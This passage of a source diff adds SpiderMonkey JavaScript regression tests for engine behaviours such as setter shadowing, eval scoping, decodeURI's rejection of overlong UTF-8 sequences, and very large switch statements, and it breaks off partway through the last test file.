+var summary = "Don't shadow a readonly or setter proto-property";
+var expect = "PASS";
+var actual = "FAIL";
+var a = {y: 1};
+
+function B(){}
+B.prototype.__defineSetter__('x', function setx(val) { actual = expect; });
+var b = new B;
+b.y = 1;
+
+var arr = [a, b]; // same shape prior to bug 497789 fix
+for (var obj of arr)
+ obj.x = 2; // should call b's setter but doesn't
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/js1_5/Regress/regress-504078.js b/js/src/tests/js1_5/Regress/regress-504078.js
new file mode 100644
index 000000000..10b3457f5
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-504078.js
@@ -0,0 +1,51 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 504078;
+var summary = 'Iterations over global object';
+var actual = '';
+var expect = '';
+
+var g = (typeof window == 'undefined' ? this : window);
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ function keys(obj) {
+ for (var prop in obj) {
+ }
+ }
+
+ var data = { a : 1, b : 2 };
+ var data2 = { a : 1, b : 2 };
+
+ function boot() {
+ keys(data);
+ keys(g);
+ keys(data2); // this call dies with "var prop is not a function"
+ print('no error');
+ }
+
+ try
+ {
+ boot();
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/Regress/regress-506567.js b/js/src/tests/js1_5/Regress/regress-506567.js
new file mode 100644
index 000000000..e78dfe1db
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-506567.js
@@ -0,0 +1,45 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 506567;
+var summary = 'Do not crash with watched variables';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ if (typeof clearInterval == 'undefined')
+ {
+ clearInterval = (function () {});
+ }
+
+ var obj = new Object();
+ obj.test = null;
+ obj.watch("test", (function(prop, oldval, newval)
+ {
+ if(false)
+ {
+ var test = newval % oldval;
+ var func = (function(){clearInterval(myInterval);});
+ }
+ }));
+
+ obj.test = 'null';
+ print(obj.test);
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/Regress/regress-511859.js b/js/src/tests/js1_5/Regress/regress-511859.js
new file mode 100644
index 000000000..dc8af3a61
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-511859.js
@@ -0,0 +1,150 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 22 Aug 2009
+ * SUMMARY: Utf8ToOneUcs4Char in jsstr.cpp ,overlong UTF-8 seqence detection problem
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=511859
+ *
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 511859;
+var summary = 'Utf8ToOneUcs4Char in jsstr.cpp ,overlong UTF-8 seqence detection problem';
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect = '';
+var expectedvalues = [];
+var arg;
+/*
+ * The patch for http://bugzilla.mozilla.org/show_bug.cgi?id=511859
+ * defined this value to be the result of an overlong UTF-8 sequence -
+ */
+
+var EX="(Exception thrown)";
+
+function getActual(s)
+{
+ try {
+ return decodeURI(s);
+ } catch (e) {
+ return EX;
+ }
+}
+
+//Phase1: overlong sequences
+expect = EX;
+arg = "%C1%BF";
+status = "Overlong 2byte U+7f :" + arg;
+actual = getActual(arg);
+addThis();
+
+arg = "%E0%9F%BF";
+status = "Overlong 3byte U+7ff :" + arg;
+actual = getActual(arg);
+addThis();
+
+arg = "%F0%88%80%80";
+status = "Overlong 4byte U+8000 :" + arg;
+actual = getActual(arg);
+addThis();
+
+arg = "%F0%8F%BF%BF";
+status = "Overlong 4byte U+ffff :" + arg;
+actual = getActual(arg);
+addThis();
+
+arg = "%F0%80%C0%80%80";
+status = "Overlong 5byte U+20000 :" + arg;
+actual = getActual(arg);
+addThis();
+
+arg = "%F8%84%8F%BF%BF";
+status = "Overlong 5byte U+10FFFF :" + arg;
+actual = getActual(arg);
+addThis();
+
+arg = "%FC%80%84%8F%BF%BF";
+status = "Overlong 6byte U+10FFFF :" + arg;
+actual = getActual(arg);
+addThis();
+
+//Phase 2:Out of Unicode range
+arg = "%F4%90%80%80%80";
+status = "4byte 0x110000 :" + arg;
+actual = getActual(arg);
+addThis();
+arg = "%F8%84%90%80%80";
+status = "5byte 0x110000 :" + arg;
+actual = getActual(arg);
+addThis();
+
+arg = "%FC%80%84%90%80%80";
+status = "6byte 0x110000 :" + arg;
+actual = getActual(arg);
+addThis();
+
+//Phase 3:Valid sequences must be decoded correctly
+arg = "%7F";
+status = "valid sequence U+7F :" + arg;
+actual = getActual("%7F");
+expect = "\x7f";
+addThis();
+
+arg = "%C2%80";
+status = "valid sequence U+80 :" + arg;
+actual = getActual(arg);
+expect = "\x80";
+addThis();
+
+arg = "%E0%A0%80";
+status = "valid sequence U+800 :" + arg;
+actual = getActual("%E0%A0%80");
+expect = "\u0800";
+addThis();
+
+arg = "%F0%90%80%80"
+status = "valid sequence U+10000 :" + arg;
+actual = getActual(arg);
+expect = "\uD800\uDC00";
+addThis();
+
+arg = "%F4%8F%BF%BF";
+status = "valid sequence U+10FFFF :" + arg;
+actual = getActual(arg);
+expect = "\uDBFF\uDFFF";
+addThis();
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = actual;
+ expectedvalues[UBound] = expect;
+ UBound++;
+}
+
+
+function test()
+{
+ enterFunc('test');
+ printBugNumber(BUGNUMBER);
+ printStatus(summary);
+
+ for (var i=0; i<UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+
+ exitFunc('test');
+}
diff --git a/js/src/tests/js1_5/Regress/regress-57043.js b/js/src/tests/js1_5/Regress/regress-57043.js
new file mode 100644
index 000000000..ad1a3cd61
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-57043.js
@@ -0,0 +1,79 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ * Date: 03 December 2000
+ *
+ *
+ * SUMMARY: This test arose from Bugzilla bug 57043:
+ * "Negative integers as object properties: strange behavior!"
+ *
+ * We check that object properties may be indexed by signed
+ * numeric literals, as in assignments like obj[-1] = 'Hello'
+ *
+ * NOTE: it should not matter whether we provide the literal with
+ * quotes around it or not; e.g. these should be equivalent:
+ *
+ * obj[-1] = 'Hello'
+ * obj['-1'] = 'Hello'
+ */
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 57043;
+var summary = 'Indexing object properties by signed numerical literals -'
+ var statprefix = 'Adding a property to test object with an index of ';
+var statsuffix = ', testing it now -';
+var propprefix = 'This is property ';
+var obj = new Object();
+var status = ''; var actual = ''; var expect = ''; var value = '';
+
+
+// various indices to try -
+var index =
+ [-1073741825, -1073741824, -1073741823, -5000, -507, -3, -2, -1, -0, 0, 1, 2, 3, 1073741823, 1073741824, 1073741825];
+
+
+//-------------------------------------------------------------------------------------------------
+test();
+//-------------------------------------------------------------------------------------------------
+
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ for (var j in index) {testProperty(index[j]);}
+
+ exitFunc ('test');
+}
+
+
+function testProperty(i)
+{
+ status = getStatus(i);
+
+ // try to assign a property using the given index -
+ obj[i] = value = (propprefix + i);
+
+ // try to read the property back via the index (as number) -
+ expect = value;
+ actual = obj[i];
+ reportCompare(expect, actual, status);
+
+ // try to read the property back via the index as string -
+ expect = value;
+ actual = obj[String(i)];
+ reportCompare(expect, actual, status);
+}
+
+function positive(n) { return 1 / n > 0; }
+
+function getStatus(i)
+{
+ return statprefix +
+ (positive(i) ? i : "-" + -i) +
+ statsuffix;
+}
diff --git a/js/src/tests/js1_5/Regress/regress-58116.js b/js/src/tests/js1_5/Regress/regress-58116.js
new file mode 100644
index 000000000..39a934cbd
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-58116.js
@@ -0,0 +1,30 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributor: Bob Clary
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 58116;
+var summary = 'Compute Daylight savings time correctly regardless of year';
+var actual = '';
+var expect = '';
+var status;
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+expect = (new Date(2005, 7, 1).getTimezoneOffset());
+
+status = summary + ' ' + inSection(1) + ' 1970-07-1 ';
+actual = (new Date(1970, 7, 1).getTimezoneOffset());
+reportCompare(expect, actual, status);
+
+status = summary + ' ' + inSection(2) + ' 1965-07-1 ';
+actual = (new Date(1965, 7, 1).getTimezoneOffset());
+reportCompare(expect, actual, status);
+
+status = summary + ' ' + inSection(3) + ' 0000-07-1 ';
+actual = (new Date(0, 7, 1).getTimezoneOffset());
+reportCompare(expect, actual, status);
diff --git a/js/src/tests/js1_5/Regress/regress-68498-001.js b/js/src/tests/js1_5/Regress/regress-68498-001.js
new file mode 100644
index 000000000..abc579373
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-68498-001.js
@@ -0,0 +1,44 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ * Date: 15 Feb 2001
+ *
+ * SUMMARY: var self = global JS object, outside any eval, is DontDelete
+ *
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=68498
+ * See http://bugzilla.mozilla.org/showattachment.cgi?attach_id=25251
+ *
+ * Brendan:
+ *
+ * "Demonstrate that variable statement outside any eval creates a
+ * DontDelete property of the global object"
+ */
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 68498;
+var summary ='Testing that variable statement outside any eval creates' +
+ ' a DontDelete property of the global object';
+
+
+// To be pedantic, use a variable named 'self' to capture the global object -
+// conflicts with window.self in browsers
+var _self = this;
+var actual = (delete _self);
+var expect =false;
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+ reportCompare(expect, actual, summary);
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/Regress/regress-68498-002.js b/js/src/tests/js1_5/Regress/regress-68498-002.js
new file mode 100644
index 000000000..2ea387a67
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-68498-002.js
@@ -0,0 +1,67 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ * Date: 15 Feb 2001
+ *
+ * SUMMARY: create a Deletable local variable using eval
+ *
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=68498
+ * See http://bugzilla.mozilla.org/showattachment.cgi?attach_id=25251
+ *
+ * Brendan:
+ *
+ * "Demonstrate the creation of a Deletable local variable using eval"
+ */
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 68498;
+var summary = 'Creating a Deletable local variable using eval';
+var statprefix = '; currently at expect[';
+var statsuffix = '] within test -';
+var actual = [ ];
+var expect = [ ];
+
+
+// Capture a reference to the global object -
+var self = this;
+
+// This function is the heart of the test -
+function f(s) {eval(s); actual[0]=y; return delete y;}
+
+
+// Set the actual-results array. The next line will set actual[0] and actual[1] in one shot
+actual[1] = f('var y = 42');
+actual[2] = 'y' in self && y;
+
+// Set the expected-results array -
+expect[0] = 42;
+expect[1] = true;
+expect[2] = false;
+
+
+//-------------------------------------------------------------------------------------------------
+test();
+//-------------------------------------------------------------------------------------------------
+
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ for (var i in expect)
+ {
+ reportCompare(expect[i], actual[i], getStatus(i));
+ }
+
+ exitFunc ('test');
+}
+
+
+function getStatus(i)
+{
+ return (summary + statprefix + i + statsuffix);
+}
diff --git a/js/src/tests/js1_5/Regress/regress-68498-003.js b/js/src/tests/js1_5/Regress/regress-68498-003.js
new file mode 100644
index 000000000..5fb18fe3b
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-68498-003.js
@@ -0,0 +1,71 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ * Date: 15 Feb 2001
+ *
+ * SUMMARY: calling obj.eval(str)
+ *
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=68498
+ * See http://bugzilla.mozilla.org/showattachment.cgi?attach_id=25251
+ *
+ * Brendan:
+ *
+ * "Backward compatibility: support calling obj.eval(str), which evaluates
+ * str using obj as the scope chain and variable object."
+ */
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 68498;
+var summary = 'Testing calling obj.eval(str)';
+var statprefix = '; currently at expect[';
+var statsuffix = '] within test -';
+var actual = [ ];
+var expect = [ ];
+
+
+// Capture a reference to the global object -
+var self = this;
+
+// This function is the heart of the test -
+function f(s) {self.eval(s); return y;}
+
+
+// Set the actual-results array -
+actual[0] = f('var y = 43');
+actual[1] = 'y' in self && y;
+actual[2] = delete y;
+actual[3] = 'y' in self;
+
+// Set the expected-results array -
+expect[0] = 43;
+expect[1] = 43;
+expect[2] = true;
+expect[3] = false;
+
+
+//-------------------------------------------------------------------------------------------------
+test();
+//-------------------------------------------------------------------------------------------------
+
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ for (var i in expect)
+ {
+ reportCompare(expect[i], actual[i], getStatus(i));
+ }
+
+ exitFunc ('test');
+}
+
+
+function getStatus(i)
+{
+ return (summary + statprefix + i + statsuffix);
+}
diff --git a/js/src/tests/js1_5/Regress/regress-68498-004.js b/js/src/tests/js1_5/Regress/regress-68498-004.js
new file mode 100644
index 000000000..e4ae75d6d
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-68498-004.js
@@ -0,0 +1,99 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ * Date: 15 Feb 2001
+ *
+ * SUMMARY: self.eval(str) inside a function
+ * NOTE: 'self' is just a variable used to capture the global JS object.
+ *
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=68498
+ * See http://bugzilla.mozilla.org/showattachment.cgi?attach_id=25251
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=69441 (!!!)
+ *
+ * Brendan:
+ *
+ * "ECMA-262 Edition 3, 10.1.3 requires a FunctionDeclaration parsed as part
+ * of a Program by eval to create a property of eval's caller's variable object.
+ * This test evals in the body of a with statement, whose scope chain *is*
+ * relevant to the effect of parsing the FunctionDeclaration."
+ */
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 68498;
+var summary = 'Testing self.eval(str) inside a function';
+var statprefix = '; currently at expect[';
+var statsuffix = '] within test -';
+var sToEval='';
+var actual=[ ];
+var expect=[ ];
+
+
+// Capture a reference to the global object -
+var self = this;
+
+// You shouldn't see this global variable's value in any printout -
+var x = 'outer';
+
+// This function is the heart of the test -
+function f(o,s,x) {with(o) eval(s); return z;};
+
+// Run-time statements to pass to the eval inside f
+sToEval += 'actual[0] = typeof g;'
+sToEval += 'function g(){actual[1]=(typeof w == "undefined" || w); return x};'
+sToEval += 'actual[2] = w;'
+sToEval += 'actual[3] = typeof g;'
+sToEval += 'var z=g();'
+
+// Set the actual-results array. The next line will set actual[0] - actual[4] in one shot
+actual[4] = f({w:44}, sToEval, 'inner');
+actual[5] = 'z' in self && z;
+
+
+/* Set the expected-results array.
+ *
+ * Sample issue: why do we set expect[4] = 'inner'? Look at actual[4]...
+ * 1. The return value of f equals z, which is not defined at compile-time
+ * 2. At run-time (via with(o) eval(s) inside f), z is defined as the return value of g
+ * 3. At run-time (via with(o) eval(s) inside f), g is defined to return x
+ * 4. In the scope of with(o), x is undefined
+ * 5. Farther up the scope chain, x can be located as an argument of f
+ * 6. The value of this argument at run-time is 'inner'
+ * 7. Even farther up the scope chain, the name x can be found as a global variable
+ * 8. The value of this global variable is 'outer', but we should NOT have gone
+ * this far up the scope chain to find x...therefore we expect 'inner'
+ */
+expect[0] = 'function';
+expect[1] = 44;
+expect[2] = 44;
+expect[3] = 'function';
+expect[4] = 'inner';
+expect[5] = false;
+
+
+
+//------------------------------------------------------------------------------------------------
+test();
+//-------------------------------------------------------------------------------------------------
+
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ for (var i in expect)
+ {
+ reportCompare(expect[i], actual[i], getStatus(i));
+ }
+
+ exitFunc ('test');
+}
+
+
+function getStatus(i)
+{
+ return (summary + statprefix + i + statsuffix);
+}
diff --git a/js/src/tests/js1_5/Regress/regress-69607.js b/js/src/tests/js1_5/Regress/regress-69607.js
new file mode 100644
index 000000000..5cb3d2f2f
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-69607.js
@@ -0,0 +1,42 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ * Date: 21 Feb 2001
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=69607
+ *
+ * SUMMARY: testing that we don't crash on trivial JavaScript
+ *
+ */
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 69607;
+var summary = "Testing that we don't crash on trivial JavaScript";
+var var1;
+var var2;
+var var3;
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+/*
+ * The crash this bug reported was caused by precisely these lines
+ * placed in top-level code (i.e. not wrapped inside a function) -
+ */
+if(false)
+{
+ var1 = 0;
+}
+else
+{
+ var2 = 0;
+}
+
+if(false)
+{
+ var3 = 0;
+}
+
+reportCompare('No Crash', 'No Crash', '');
+
diff --git a/js/src/tests/js1_5/Regress/regress-71107.js b/js/src/tests/js1_5/Regress/regress-71107.js
new file mode 100644
index 000000000..9018da02e
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-71107.js
@@ -0,0 +1,46 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ * Date: 06 Mar 2001
+ *
+ * SUMMARY: Propagate heavyweightness back up the function-nesting
+ * chain. See http://bugzilla.mozilla.org/show_bug.cgi?id=71107
+ *
+ */
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 71107;
+var summary = 'Propagate heavyweightness back up the function-nesting chain.';
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ var actual = outer()()(); //call the return of calling the return of outer()
+ var expect = 5;
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
+
+
+function outer () {
+ var outer_var = 5;
+
+ function inner() {
+ function way_inner() {
+ return outer_var;
+ }
+ return way_inner;
+ }
+ return inner;
+}
diff --git a/js/src/tests/js1_5/Regress/regress-76054.js b/js/src/tests/js1_5/Regress/regress-76054.js
new file mode 100644
index 000000000..99e9c4b12
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-76054.js
@@ -0,0 +1,126 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ * Date: 16 May 2001
+ *
+ * SUMMARY: Regression test for bug 76054
+ *
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=76054
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=78706
+ * All String HTML methods should be LOWER case -
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 76054;
+var summary = 'Testing that String HTML methods produce all lower-case';
+var statprefix = 'Currently testing String.';
+var status = '';
+var statusitems = [ ];
+var actual = '';
+var actualvalues = [ ];
+var expect= '';
+var expectedvalues = [ ];
+var s = 'xyz';
+
+status = 'anchor()';
+actual = s.anchor();
+expect = actual.toLowerCase();
+addThis();
+
+status = 'big()';
+actual = s.big();
+expect = actual.toLowerCase();
+addThis();
+
+status = 'blink()';
+actual = s.blink();
+expect = actual.toLowerCase();
+addThis();
+
+status = 'bold()';
+actual = s.bold();
+expect = actual.toLowerCase();
+addThis();
+
+status = 'italics()';
+actual = s.italics();
+expect = actual.toLowerCase();
+addThis();
+
+status = 'fixed()';
+actual = s.fixed();
+expect = actual.toLowerCase();
+addThis();
+
+status = 'fontcolor()';
+actual = s.fontcolor();
+expect = actual.toLowerCase();
+addThis();
+
+status = 'fontsize()';
+actual = s.fontsize();
+expect = actual.toLowerCase();
+addThis();
+
+status = 'link()';
+actual = s.link();
+expect = actual.toLowerCase();
+addThis();
+
+status = 'small()';
+actual = s.small();
+expect = actual.toLowerCase();
+addThis();
+
+status = 'strike()';
+actual = s.strike();
+expect = actual.toLowerCase();
+addThis();
+
+status = 'sub()';
+actual = s.sub();
+expect = actual.toLowerCase();
+addThis();
+
+status = 'sup()';
+actual = s.sup();
+expect = actual.toLowerCase();
+addThis();
+
+
+//-------------------------------------------------------------------------------------------------
+test();
+//-------------------------------------------------------------------------------------------------
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = actual;
+ expectedvalues[UBound] = expect;
+ UBound++;
+}
+
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ for (var i = 0; i < UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], getStatus(i));
+ }
+
+ exitFunc ('test');
+}
+
+
+function getStatus(i)
+{
+ return statprefix + statusitems[i];
+}
diff --git a/js/src/tests/js1_5/Regress/regress-80981.js b/js/src/tests/js1_5/Regress/regress-80981.js
new file mode 100644
index 000000000..51b6ae844
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-80981.js
@@ -0,0 +1,3111 @@
+// |reftest| slow
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 19 Nov 2001
+ * SUMMARY: Regression test for bug 80981.
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=80981
+ * "Need extended jump bytecode to avoid "script too large" errors, etc."
+ *
+ * Before this bug was fixed, the script below caused a run-time error because
+ * its switch statement was too big. After the fix, SpiderMonkey should compile
+ * this script just fine. The same fix has not been made in Rhino, however,
+ * so it will continue to error there...
+ *
+ * If you ever run this test against an old SpiderMonkey shell to see the bug,
+ * you should run it interactively: i.e. launch the JS shell manually, and load
+ * the test manually. Do not run it via the test driver jsDriverl.pl. Why? -
+ * before the fix for bug 97646, the JS shell would error on this script, but
+ * would NOT give non-0 exit code. As a result, the test driver couldn't detect
+ * the error (it looks for non-0 exit codes).
+ *
+ */
+//-----------------------------------------------------------------------------
+var i2 = 3011;
+var n = new Array (i2);
+var err_num = 0;
+var i = 0;
+var j = 0;
+var k = 0;
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+function test()
+{
+ b ();
+ b4 ();
+ print('Number of errors = ' + err_num);
+}
+
+
+function b()
+{
+ b4 ();
+ b_after ();
+
+ for (i=0; i<i2; i++) {n[i] = 0;}
+ i = 0;
+
+ while (k++ <= i2)
+ {
+ switch (j = (k*73)%i2)
+ {
+ case 0: if (n[0]++ > 0) check ('a string 0'); break;
+ case 1: if (n[1]++ > 0) check ('a string 1'); break;
+ case 2: if (n[2]++ > 0) check ('a string 2'); break;
+ case 3: if (n[3]++ > 0) check ('a string 3'); break;
+ case 4: if (n[4]++ > 0) check ('a string 4'); break;
+ case 5: if (n[5]++ > 0) check ('a string 5'); break;
+ case 6: if (n[6]++ > 0) check ('a string 6'); break;
+ case 7: if (n[7]++ > 0) check ('a string 7'); break;
+ case 8: if (n[8]++ > 0) check ('a string 8'); break;
+ case 9: if (n[9]++ > 0) check ('a string 9'); break;
+ case 10: if (n[10]++ > 0) check ('a string 10'); break;
+ case 11: if (n[11]++ > 0) check ('a string 11'); break;
+ case 12: if (n[12]++ > 0) check ('a string 12'); break;
+ case 13: if (n[13]++ > 0) check ('a string 13'); break;
+ case 14: if (n[14]++ > 0) check ('a string 14'); break;
+ case 15: if (n[15]++ > 0) check ('a string 15'); break;
+ case 16: if (n[16]++ > 0) check ('a string 16'); break;
+ case 17: if (n[17]++ > 0) check ('a string 17'); break;
+ case 18: if (n[18]++ > 0) check ('a string 18'); break;
+ case 19: if (n[19]++ > 0) check ('a string 19'); break;
+ case 20: if (n[20]++ > 0) check ('a string 20'); break;
+ case 21: if (n[21]++ > 0) check ('a string 21'); break;
+ case 22: if (n[22]++ > 0) check ('a string 22'); break;
+ case 23: if (n[23]++ > 0) check ('a string 23'); break;
+ case 24: if (n[24]++ > 0) check ('a string 24'); break;
+ case 25: if (n[25]++ > 0) check ('a string 25'); break;
+ case 26: if (n[26]++ > 0) check ('a string 26'); break;
+ case 27: if (n[27]++ > 0) check ('a string 27'); break;
+ case 28: if (n[28]++ > 0) check ('a string 28'); break;
+ case 29: if (n[29]++ > 0) check ('a string 29'); break;
+ case 30: if (n[30]++ > 0) check ('a string 30'); break;
+ case 31: if (n[31]++ > 0) check ('a string 31'); break;
+ case 32: if (n[32]++ > 0) check ('a string 32'); break;
+ case 33: if (n[33]++ > 0) check ('a string 33'); break;
+ case 34: if (n[34]++ > 0) check ('a string 34'); break;
+ case 35: if (n[35]++ > 0) check ('a string 35'); break;
+ case 36: if (n[36]++ > 0) check ('a string 36'); break;
+ case 37: if (n[37]++ > 0) check ('a string 37'); break;
+ case 38: if (n[38]++ > 0) check ('a string 38'); break;
+ case 39: if (n[39]++ > 0) check ('a string 39'); break;
+ case 40: if (n[40]++ > 0) check ('a string 40'); break;
+ case 41: if (n[41]++ > 0) check ('a string 41'); break;
+ case 42: if (n[42]++ > 0) check ('a string 42'); break;
+ case 43: if (n[43]++ > 0) check ('a string 43'); break;
+ case 44: if (n[44]++ > 0) check ('a string 44'); break;
+ case 45: if (n[45]++ > 0) check ('a string 45'); break;
+ case 46: if (n[46]++ > 0) check ('a string 46'); break;
+ case 47: if (n[47]++ > 0) check ('a string 47'); break;
+ case 48: if (n[48]++ > 0) check ('a string 48'); break;
+ case 49: if (n[49]++ > 0) check ('a string 49'); break;
+ case 50: if (n[50]++ > 0) check ('a string 50'); break;
+ case 51: if (n[51]++ > 0) check ('a string 51'); break;
+ case 52: if (n[52]++ > 0) check ('a string 52'); break;
+ case 53: if (n[53]++ > 0) check ('a string 53'); break;
+ case 54: if (n[54]++ > 0) check ('a string 54'); break;
+ case 55: if (n[55]++ > 0) check ('a string 55'); break;
+ case 56: if (n[56]++ > 0) check ('a string 56'); break;
+ case 57: if (n[57]++ > 0) check ('a string 57'); break;
+ case 58: if (n[58]++ > 0) check ('a string 58'); break;
+ case 59: if (n[59]++ > 0) check ('a string 59'); break;
+ case 60: if (n[60]++ > 0) check ('a string 60'); break;
+ case 61: if (n[61]++ > 0) check ('a string 61'); break;
+ case 62: if (n[62]++ > 0) check ('a string 62'); break;
+ case 63: if (n[63]++ > 0) check ('a string 63'); break;
+ case 64: if (n[64]++ > 0) check ('a string 64'); break;
+ case 65: if (n[65]++ > 0) check ('a string 65'); break;
+ case 66: if (n[66]++ > 0) check ('a string 66'); break;
